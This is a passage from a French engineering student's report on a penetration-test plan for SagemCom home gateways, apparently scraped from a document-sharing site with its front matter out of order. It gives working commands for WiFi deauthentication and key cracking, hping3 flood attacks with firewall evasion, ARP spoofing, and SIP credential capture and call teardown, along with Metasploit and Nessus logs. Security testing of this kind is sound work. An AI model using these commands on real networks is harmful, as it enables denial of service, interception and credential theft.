clé WPA nécessite la détection de la phase de l’authentification.
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0
o -0 1 : de-authentification. l’envoi d’une seule « deauths » (nous pouvons envoyer

plusieurs)
o -a : adresse du point d’accès.
o -c : adresse de l’utilisateur à de-authentifier.
 Utiliser aircrack-ng pour craquer la clé.
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap
o -w : liste de mot de passe à tester. Cette liste peut être téléchargé de l’internet ou
générer à l’aide de plusieurs outils (par exemple : John The Ripper)
29
Il faut environ 20,000 paquets pour les clés 64-bit et de 40,000 jusqu’à 85,000 paquets for 128 bit.
Page 77
Test16: Perturbation des connexions

L’injection des paquets ARP dans le réseau sans fil peut affecter la qualité du signale et même
engendre la mise hors service de tout le réseau.
Ce test nécessite un réseau sans fil sécurisé avec une clé de chiffrement WEP. Pour aboutir à
un résultat, il faut que le sniffeur détecte au moins un paquet ARP pour qu’il puisse injecter des
paquets ARP. L’attaque est possible avec l’outil airplay-ng.
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0
5. Module VoIP

Nous avons fixé un ensemble de tests primaires sur les TRs qui consiste à déterminer leurs
effets sur le fonctionnement du module testé ainsi que les autres modules. Nos tests touchent deux
axes :
 Attaque lié au déni de service.

 Attaque lié à la vole de session SIP.
5.2. Tests réalisés
5.2.1. Déni de service

Test17: SYN/UDP Flood (SIP)
Il s’agit du même principe de l’attaque SYN Flood décrite dans le module réseau. Nous avons
réalisé deux scénarios.
Scénario 1: SYN/UDP Flood simple:

La réalisation de cette manipulation nous permet de tester la robustesse du TR contre ce type
d’attaque ainsi que la configuration de son pare-feu. Pour cela nous avons utilisé l’outil HPING.
hping3 –S –p 5060 –i u10 @WAN
hping3 –-udp –p 5060 –i u10 @WAN
Scénario 2 : SYN/UDP Flood avec technique d’évasion :

Dans la deuxième manipulation, nous avons utilisé une technique pour contourner la sécurité
du pare-feu. Nous avons envoyé les paquets à partir du port source 5060. (Voir chapitre 3 : 4.3 SIP)
hping3 –S –p 5060 -k –i u10 @WAN

hping3 –-udp –p 5060 -k –i u10 @WAN
Page 78
 -k : port source est le même que le port destination.

Test18: Requêtes SIP malformées
Le but de ce test est de tester si le serveur VoIP implémenté sur le TR supporte les requêtes
SIP malformés. Pour cela, nous avons utilisé l’outil « PROTOS Test-Suite: c07-sip ». Avec
BackTrack, sous le dossier « /penstest/VoIP/protos-sip », nous lançons la commande suivante :
java -jar c07-sip-r2.jar -touri USER@<@WAN> -showsent
…………………………………
Sending Test-Case #5
test-case #5, 504 bytes
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000064 61 20 73 69 70 3a 31 31 31 40 31 30 2e 31 39 2e a sip:111@10.19.
00000080 31 2e 31 20 53 49 50 2f 32 2e 30 0d 0a 56 69 61 1.1 SIP/2.0..Via
00000096 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20 62 74 : SIP/2.0/UDP bt Requête SIP malformé.
00000112 2e 66 6f 6f 2e 6f 72 67 3a 35 30 36 30 3b 62 72 .foo.org:5060;br
00000128 61 6e 63 68 3d 7a 39 68 47 34 62 4b 30 30 30 30 anch=z9hG4bK0000
…………………………………………….
5.2.2. Vole de session
Il existe plusieurs attaques basées sur le vole de session (ou HIjacking) dans les
communications SIP. Ces attaques sont basées sur l’attaque MITM qui permet à un hacker de faire
passer tous le trafic entre 2 machines par son PC. Nous doit d’abord réaliser l’attaque ARP
Poisonning.
Test19 : ARP Spoofing

Arpspoof <@IP Victim> <@IP TR>
Arpspoof <@IP TR> <@IP Victim>
Avec wireshark, nous capture le trafic pour déterminer les paramètres de connexion SIP entre
le TR et la victime.
Figure 40 Capture de messages de signalisation (SIP)
Page 79
Test20 : Capture de l’authentification SIP

Avec l’outil « SIPDUMP », nous pouvons capturer les authentifications SIP.
root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txt

SIPdump 0.3 ( MaJoMu | www.codito.de )
---------------------------------------
* Using dev 'eth0' for sniffing
* Starting to sniff with packet filter 'tcp or udp or vlan'
* Dumped login from 192.168.1.104 -> 192.168.1.1 (User: '200')
Ces informations seront utiles pour des éventuelles attaques basées sur l’ID d’un autre
utilisateur.
192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549
294f6535070439fb069c968
192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc75159
36a667565228dbaa0293dfc
192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae
07ed8391212119aab36f108
Test21: TearDown attack

Cette attaque a été réalisée en utilisant l’outil « teardown » afin de terminer une
communication active entre deux entités en envoyant une requête « BYE » avec l’ID spoofé. La
réalisation de cette attaque il faut capturer une réponse OK valide. La commande utilisée est la
suivant :
./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTag
Conclusion
Dans ce chapitre, nous avons décrit les différents tests mis en œuvre pour la réalisation d’un
plan de test de sécurité pour les TRs SagemCom. L’approche modulaire nous a permis de démultiplier
les possibilités de scénario de tests et d’utiliser des notions issues d’un module sur d’autres.
Dans notre effort, nous avons essayé de couvrir la totalité des failles et risques possibles pour
chaque module. Néanmoins l’imagination et l’évolution du monde du piratage est sans limites et il
reste certainement plusieurs autres tests possibles à imaginer afin que nous puissions assurer la
sécurité totale dans le cadre des tests de pénétration et contre carrer les intention malveillantes ou les
failles induites par l’architecture même de certains services et leur interactions. L’ensemble des tests a
été intégré sous « Test Link30 » sous forme d’un plan de tests. (Voir Annexe 1 et Annexe 2)
30
Test Link est un outil de gestion des tests.
Page 80
Conclusion et Perspectives
ans le cadre de ce projet nous avons contribué à la mise en place d’une plateforme ainsi qu’un
D plan de test de sécurité pour les terminaux résidentiels pour le compte de l’entreprise
SagemCom.
Ce travail a commencé par une étude sur les différents modules du TR et les risques auxquels
ils sont exposés. Par la suite une étude comparative entre les différents outils existants a été réalisée.
Cette étude nous a permis d’avoir une vision globale sur les besoins en termes de sécurité pour les
tests à faire traités par priorité.
A l’issue de cette étude, nous avons opté, d’une part, à la mise en place d’une plateforme de
test qui couvre les différents modules du TR, basé sur des produits libres et d’autre part à la définition
d’un plan de test correspondant déroulé sur différents produits SagemCom.
Ce projet nous a permis de traiter un sujet d’actualité dans le domaine de la sécurité

informatique. Il faut dire que la sécurité des TRs est un point très important car il présente le lien entre
le réseau local d’une entreprise ou des particuliers et l’Internet.
Tout au le long de ce projet, nous avons essayé de respecter les priorités de quelques tests par
rapport à d’autres. Plusieurs extensions et améliorations peuvent être envisagées pour finaliser ce
travail, à savoir :
 L’automatisation des tests pour gagner en temps d’exécution et de minimiser le besoin en

ressources humaines pour passer les tests. L’automatisation permettra en plus de détecter
rapidement les régressions entre les différentes versions logicielles d’une passerelle. La force
de frappe des équipes validation n’en sera que renforcée. Le développement des scripts avec
l'outil d’automatisation utilisé par SagemCom seront éventuellement envisagés.
 Le développement d’un outil de test des attaques DOS propre aux besoins de SagemCom qui
consiste à tester seulement les services spécifiques proposés par les TRs Sagemcom
 La mise en place d’outils de tests de sécurité des TRs intégrant le protocole IPv6 qui est une
nouvelle exigence demandée par les clients de SagemCom.
Page 81
Bibliographie
1. Ilacqua, Spike. The first ISP. USENIX. [Online] Mars 15, 1999.
http://www.usenix.org/publications/login/1999-2/isp.html.
2. Le Nouvel Observateur. La naissance du Web . Le nouvelle observateur. [En ligne] 20 Avril 2009.
http://tempsreel.nouvelobs.com/vu-sur-le-web/20090420.OBS4013/la-naissance-du-web.html.
3. Le Journal du NET. Nombre d'abonnés à Internet en France. Le journal du NET. [En ligne] 18
Octobre 2010. http://www.journaldunet.com/ebusiness/le-net/nombre-abonnes-internet-france.shtml.
4. Lalonde, Denis. Les attaques informatiques grimpent en nombre, mais font moins de dommages.
Direction Informatique. [En ligne] 20 Avril 2011.
http://www.directioninformatique.com/DI/client/fr/DirectionInformatique/Nouvelles.asp?id=62205.
5. SagemCom. BU Terminaux résidentiels & Haut Débit . SagemCom. [En ligne] 2010.
www.sagemcom.com/index.php?id=1797&L=1.
6. Beaver, Kevin. Hacking For Dummies®, 3rd Edition. s.l. : Wiley Publishing, Inc., 2011.
7. ISECOM. OSSTMM 3. The Institute for Security and Open Methodologies (ISECOM). [En ligne]
14 Décembre 2010. http://www.osstmm.org/.
8. OWASP, The Open Web Application Security Project. OWASP, The Open Web Application
Security Project. [En ligne] 12 Aout 2007. https://www.owasp.org/.
9. PTES. PTES, the Penetration Testing Execution Standard. PTES, the Penetration Testing Execution
Standard. [En ligne] Janvier 2011. http://www.pentest-standard.org.
10. Katterjohn, Kris. Port Scanning Techniques. Packet Storm. [En ligne] 03 Aout 2007.
http://packetstormsecurity.org/files/view/54973/port-scanning-techniques.txt.
11. DAMAYE, Sébastien. Attaques/Enumeration-Scanning/Scan-ports . Aldeid.com. [En ligne] 19

September 2010. http://www.aldeid.com/wiki/Attaques/Enumeration-Scanning/Scan-ports.
12. Nmap. Technique de scan de ports. Nmap.ORG. [En ligne] 2007. http://nmap.org/man/fr/man-
port-scanning-techniques.html.
13. Nmap. Timing and Performance. Nmap.ORG. [En ligne] 2007. http://nmap.org/book/man-
performance.html.
Page 82
Bibliographie
14. Nmap. Remote OS detection via TCP/IP Stack FingerPrinting. Nmap.ORG. [En ligne] 18 Octobre
1998. http://nmap.org/nmap-fingerprinting-article.txt.
15. PCI Security Standards Council. PCI SSC Data Security Standards Overview. PCI Security
Standards Council. [En ligne] 2006. https://www.pcisecuritystandards.org/security_standards/.
16. Adam Doup´e, Marco Cova et Giovanni Vigna. An Analysis of Black-box Web Vulnerability
Scanners. s.l. : University of California, 2010.
17. Hemel, Armijn. UPnP IGD profile. IPnP Hacks. [En ligne] 2006. http://www.upnp-hacks.org/.
18. Lehembre, Guillaume. Wi-Fi security – WEP, WPA. s.l. : hakin9, 2010.
19. the VOIP Wiki. the VOIP Wiki. the VOIP Wiki. [En ligne] Mai 2011. http://www.voip-info.org/.
20. Services VoIP. Perspectives VoIP. Voip Zélites. [En ligne] 2011. http://www.services-voip.fr.
21. Collier, Mark. Basic Vulnerability Issues for SIP Security. s.l. : SecureLogix Corporation, 2005.
22. Back|Track Linux. Back|Track Linux: Penetration Testing Distribution. Back|Track Linux:
Penetration Testing Distribution. [En ligne] 2011. http://www.backtrack-linux.org/.
23. OWASP Foundation. OWASP TESTING GUIDE V3.0. 2008.
24. Design and Analysis of Communication Systems Group (DACS). Attacks by “Anonymous”
WikiLeaks Proponentsnot Anonymous. 2010.
25. CVE Details. Unspecified vulnerability in ISC BIND 9.0.x. CVE Details. [En ligne] 12 Octobre
2010. http://www.cvedetails.com/cve/CVE-2010-0290/.
26. CERT. CERT® Advisory CA-1998-01 Smurf IP Denial-of-Service Attacks. CERT. [En ligne] 5
Janvier 1998. http://www.cert.org/advisories/CA-1998-01.html.
27. CERT. CERT® Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks. CERT. [En
ligne] 19 Septembre 1996. www.cert.org/advisories/CA-1996-21.html.
28. CERT. CERT® Advisory CA-1997-28 IP Denial-of-Service Attacks. CERT. [En ligne] 17
Décembre 1997. http://www.cert.org/advisories/CA-1997-28.html.
29. Open Source Vulnerability Data Base. 5941: Linux Kernel Zero Length IP Fragmentation DoS.
Open Source Vulnerability Data Base. [En ligne] 24 Mars 1999. http://osvdb.org/show/osvdb/5941.
Page 83
Bibliographie
30. Open Source Vulnerability Date Base. 5729: Multiple Vendor TCP/IP Fragmentation DoS
(nestea). Open Source Vulnerability Date Base. [En ligne] 16 Avril 1998.
http://osvdb.org/show/osvdb/5729.
31. Open Source Vulnerability Data Base. 5394: Linux Kernel Fragmented ICMP Packet
Information Disclosure. Open Source Vulnerability Data Base. [En ligne] 8 Avril 2004.
32. —. 4566: Linux Kernel TCP/IP Fragment Reassembly DoS. Open Source Vulnerability Data
Base. [En ligne] 28 Mai 2003. http://osvdb.org/show/osvdb/4566.
33. —. 1666: Multiple Vendor Out Of Band Data DoS (WinNuke). Open Source Vulnerability Data
Base. [En ligne] 7 Mai 1997. http://osvdb.org/show/osvdb/1666.
34. OSVDB. Multiple Vendor Oversized ICMP Ping Packet DoS . Open Source Vulnerability Data
Base. [En ligne] 01 Janvier 1997. http://osvdb.org/11454.
35. Open Source Vulnerability Data Base. 5727 : Multiple Vendor IP Fragment Re-Assembly
Remote DoS (teardrop) . Open Source Vulnerability Data Base. [En ligne] Novembre 1997.
Page 84
Glossaire
ADSL: Asymmetric Digital Subscriber Line

Ajax: Asynchronous Javascript and XML
CVE: Common Vulnerability and Exposures

CCMP: Counter-Mode/CBC-Mac protocol
CMS: Content Management System
C&C: Command and Control Server
DHCP: Dynamic Host Configuration Protocol

DNS: Domain Name System
DynDns: Dynamic DNS
DLNA: Digital Living Network Alliance
DMZ: Zone Démilitarisée
DoS: Denial Of Service
DDOS: Distributed Denial Of Service
DECT: Digital Enhanced Cordless Telecommunications
ELSEC: Electronics Security

EMSEC: Emission Security
FAI: Fournisseur d’Accès Internet

FTTH: Fiber To The Home
FTP: File Transfer Protocol
GUI: Graphical User Interface
Page 85
Glossaire
HTTP: Hypertext Transfer Protocol

HTTPS: Hypertext Transfer Protocol Secured
IP: Internet Protocol

ICMP: Internet Control Message Protocol
IMAP: Internet Message Access Protocol
IHM: Interaction Humain Machine
IGD: Internet Gateway Device
IRC: Internet Relay Chat
IEEE: Institute of Electrical and Electronics Engineers
LAN: Local Area Network
M2M: Machine To Machine

MAC: Media Access Control
MGCP: Media Gateway Control Protocol
NAT: Network Address Translation

NVD: National Vulnerability Database
NVTs: Network Vulnerability Tests
OSI: Open Systems Interconnection

OSVDB: Open Source Vulnerability Data Base
OWASP: Open Web Application Security Project
OpenVas: Open Vulnerability Assesement System
OSSTMM: Open Source Security Testing Methodology Manual
OSCP: Offensive Security Certified Professional
OSCE: Offensive Security Certified Expert
OSWP: Offensive Security Wireless Professional
PTES: Penetration Testing Execution Standard

PCI DSS: Payment Card Industry Data Security Standard
Page 86
Glossaire
POP3: Post Office Protocol 3
RNIS : Réseau Numérique à Intégration de Services
SMTP: Simple Mail Transfer Protocol

SSH: Secure Shell
SIP: Session Initiation Protocol
SSL: Secure Sockets Layer
SaaS: Software as a Service
SSID: Service Set Identifier
SIGSEC: Signal Security
PHYSSEC: Physical Security
SPECSEC: Spectrum Security
COMSEC: Communications Security
TR : terminal résidentiel
TCP: Transmission Control Protocol
TKIP: Temporal Key Integrity Protocol
TLS: Transport Layer Security
UPnP: Universal Plug and Play

UDP: User Datagram Protocol
US-CERT: United State - Community Emergency Response Teams
VoIP: Voice over IP

VDSL: Very high bit-rate DSL
VOD: Video on Demand
WAN: Wide Area Network

WiFi: Wireless Fidelity
WEP: Wired Equivalent Privacy
WPA: WiFi Protected Access
WPA-PSK: WiFi Protected Access Pre-shared key
Page 87
Annexes
Module Test Référence

RES-SCAN-TE1:TCP-SCAN
RES-SCAN-TE1:SYN-SCAN
Test1 : scan des ports
RES-SCAN-TE1:UDP-SCAN
RES-SCAN-TE1:EVASION-TECH
Test2 : scan des services RES-SCAN-TE2
Test3 : détection d’OS RES-SCAN-TE3
Test4: fuzzing avec OWASP-ZAP RES-VULN-TE1
Test5: owasp-cm-001 SSL/TLS RES-VULN-TE2
Test6: owasp-cm-008 Méthodes HTTP supportés RES-VULN-TE3
Réseau
Test7: owasp-at-004 énumérer les utilisateurs RES-VULN-TE4

Test8: owasp-at-004 brute force attack RES-VULN-TE5
RES-DOS-TE1:LOIC-TCP
Test9 (TCP/UDP/HTTP Flood) RES-DOS-TE1:LOIC-UDP
RES-DOS-TE1:LOIC-HTTP
RES-DOS-TE2:HPING-SYN
Test10 (SYN/UDP/ICMP Flood) RES-DOS-TE2:HPING-UDP
RES-DOS-TE2:HPING-ICMP
Test11 : Dns cache poisoning RES-DIV-TE1
Test12: Attaque Ping Of Death RES-DIV-TE2
Test13 : ajout d’une règle portmap invalide UPNP-TE1
UPnP
UPNP-TE2:BLACK-BOX
Test14: injection du code
UPNP-TE2:WHITE-BOX
Test15 : Craquage des clés de chiffrement WIFI-TE1
WIFI
Test16: Perturbation des connexions WIFI-TE2

Test17: SYN/UDP Flood (SIP) SIP-TE1
Test18: Requêtes SIP malformées SIP-TE2
VoIP
Test19 : ARP Spoofing SIP-TE3

Test20 : Capture de l’authentification SIP SIP-TE4
Test21: TearDown attack: SIP-TE5
Tableau 10 Liste des tests
Page 88
Annexes
Page 89
Annexes
#!/bin/bash
# spawn
# Exploit-db script update - 03/31/2011 - 16:39
local=$(cat revision)
remote=$(curl --silent --head http://www.exploit-db.com/archive.tar.bz2 | grep "Last-
Modified" | md5sum | cut -f1 -d' ')
echo "Checking http://www.exploit-db.com for newest version"
if [ "$local" == "$remote" ]; then

echo "No updates available"
else
echo "New update available, Downloading . . ." ; mv archive.tar.bz2 archive-old.tar.bz2 ;
wget http://www.exploit-db.com/archive.tar.bz2; tar jxf archive.tar.bz2 ; echo "$remote"
> revision
echo "Exploits are updated"
fi
Page 90
Annexes
msf > db_driver postgresql

msf > db_connect postgres:metasploit@127.0.0.1/metasploit
msf > db_status
[*] postgresql connected to metasploit
msf > db_import 192.168_scan.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.4.3.1'
[*] Importing host 192.168.1.1
[*] Successfully imported /home/mark/192.168_scan.xml
Page 91
Annexes
msf > load nessus

[*] Nessus Bridge for Nessus 4.2.x
[+] Type nessus_help for a command listing
[*] Successfully loaded plugin: nessus
msf > nessus_policy_list
[+] Nessus Policy List
ID Name Comments
-- ---- --------
-4 Internal Network Scan
-3 Web App Tests
-2 Prepare for PCI DSS audits
-1 External Network Scan
1 Customized Internel Network Scan
msf > nessus_scan_new 1 ScanTR 192.168.1.1
[*] Creating scan from policy number 1, called "ScanTR" and scanning 192.168.1.1
[*] Scan started. uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
msf > nessus_scan_status
[+] Running Scans
Scan ID Name Owner Started
Status Current Hosts Total Hosts
------- ---- ----- -------
------ ------------- -----------
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf msf 03:48 Jun 01 2011
running 0 1
*Snip*
msf > nessus_report_list
[+] Nessus Report List
ID Name Status Date
-- ---- ------ ----
c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf completed 03:51 Jun 01
2011
*Snip*
msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2
[*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1 Done!
[+] Done
msf > hosts -c address,vulns
Hosts
=====
address vulns
------- -----
192.168.1.161 33
msf > vulns

[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=3389 proto=tcp name=NSS-
10940 refs=
[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1900 proto=udp name=NSS-
35713 refs=
22319 refs=
10396 refs=
10860 refs=CVE-2000-1200,BID-959,OSVDB-714
18502 refs=CVE-2005-1206,BID-13942,IAVA-2005-t-0019
[*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161
Page 92

Langue

Rapportfinalcd 150312115923 Conversion Gate01

Transféré par

Informations du document

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

Rapportfinalcd 150312115923 Conversion Gate01

Transféré par

Droits d'auteur :

Formats disponibles

Ministère de l’Enseignement Supérieur

Projet de Fin d’Etudes

Diplôme National d’Ingénieur

Filière : Réseaux informatiques et télécommunications

Mise en place d’une solution de tests de sécurité pour

Réalisé par : Salmen HITANA

Responsables entreprise : Raouf BEN SAÏD

Responsable INSAT: Kamel KAROUI

Année Universitaire : 2011/2012

‫ ثغزة‬،‫ هجًت‬،‫ انهاكزس‬،‫ انعباراث انًُشنٍت‬،‫ انساليت انًعهىياحٍت‬:‫المفاتيح‬

Mots-clés : terminaux résidentiels, sécurité, pentesting, exploits, failles

Set up of a security test plan for residential gateways

Key Word: Gateway, Security, hacking, pentesting, vulnerability

Intitule et adresse complète de l’entreprise :

u terme de ce projet de fin d’études, mes vifs

A remerciements sont dédiés à tous ceux qui ont

En premier lieu, j’exprime ma gratitude au Docteur Kamel

Je voudrais également exprimer ma reconnaissance envers M.

Je voudrais témoigner par la suite ma reconnaissance à toutes

Toutefois, il faut souligner que ce travail n’aurait pu voir le

1.1.4.Outils de scan des ports ........................................................................................................ 26

2.3.Attaques et exploits ....................................................................................................................... 62

Figure 1 : Logo SagemCom ................................................................................................................4

Figure 2 : Organigramme de SagemCom .............................................................................................5

Figure 3 : Produits SagemCom ............................................................................................................6

Figure 4 : Diagramme de Gantt représentant les principales étapes du projet .......................................8

Figure 5 : Connectivité et services des TRs SagemCom..................................................................... 11

Figure 6 : TCP Scan (sur un port ouvert) ........................................................................................... 22

Figure 7 : SYN Scan (sur un port ouvert) .......................................................................................... 22

Figure 8 : Fin Scan (sur un port ouvert) ............................................................................................. 23

Figure 9 : XMAS Scan (sur un port ouvert) ....................................................................................... 23

Figure 10 : TCP Null Scan (sur un port ouvert) ................................................................................. 23

Figure 11 : Utiliser un port source autorisé pendant le scan ............................................................... 24

Figure 12 : Scan ACK ....................................................................................................................... 24

Figure 13 : Evaluation des resultats ................................................................................................... 32

Figure 14 : Temps d'exécutions du scan ............................................................................................ 32

Figure 15 : Principaux profils UPnP et actions .................................................................................. 35

Figure 16 : Redirection vers une autre adresse locale ......................................................................... 36

Figure 17 : Redirection vers l'adresse locale du TR ........................................................................... 36

Figure 18 : Redirection vers une autre adresse WAN ......................................................................... 37

Figure 19 : Exemple d'appel .............................................................................................................. 43

Figure 20 : Logo BackTrack ............................................................................................................. 48

Figure 21 : Menu BackTrack............................................................................................................. 49

Figure 22 : Architecture réseau de la plateforme de test ..................................................................... 49

Figure 23 : Profil Zenmap ................................................................................................................. 51

Figure 24 : Résultat d’un simple scan des ports et services ................................................................ 54

Figure 25 : Exemple détection d'OS .................................................................................................. 55

Figure 26 : Page de connexion .......................................................................................................... 58

Figure 27 : Créer profile.................................................................................................................... 58

Figure 28 : Configuration des plugins................................................................................................ 59

Figure 29 : Exemple du résultat ......................................................................................................... 60

Figure 30 : Exemple Fuzzing ............................................................................................................ 61

Figure 31 : Architecture réseau de l'attaque ....................................................................................... 64

Figure 32 : Fenetre XCHAT (Administrateur) ................................................................................... 64

Figure 33 : Interface LOIC ................................................................................................................ 65

Figure 34 : Lancement de l'attaque .................................................................................................... 66

Figure 35 : Capture de trafic lors de l'attaque..................................................................................... 71

Figure 36 : Attaque à base de l’IP Spoofing....................................................................................... 72

Figure 37 : Détection des équipements UPnP sur le réseau ................................................................ 74

Figure 38 : Action AddPortMapping ................................................................................................. 74

Figure 39 : Actions GetSpecificPortMapping et GetGenricPortMapping............................................ 75

Figure 40 : Capture de messages de signalisation (SIP) ..................................................................... 79

Tableau 1 : Règles du pare-feu .......................................................................................................... 12